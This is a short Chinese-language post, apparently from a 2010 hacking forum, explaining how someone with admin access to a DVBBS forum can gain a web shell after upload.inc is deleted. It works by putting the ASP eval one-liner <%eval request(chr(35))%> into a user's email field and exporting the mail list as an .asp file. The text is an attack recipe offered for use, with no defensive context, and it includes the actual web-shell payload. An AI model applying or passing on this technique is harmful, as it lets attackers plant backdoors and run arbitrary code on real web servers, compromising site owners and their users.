dvbbs删除upload.inc后得shell得方法

2010-1-30 22:13| 发布者: admin| 查看: 22| 评论: 0|原作者: 仙剑

dvbbs删除upload.inc后得shell得方法 - 前提是得到前后台管理权限

进入后台后
先到用户管理
随便改个人的邮件地址为
<%eval request(chr(35))%>@163.com
保存后
找到邮件列表导出
然后导出邮件列表到文本把文件名的名字改为.asp
点导出，就得到了一个shell
估计有些人早就知道了
哈哈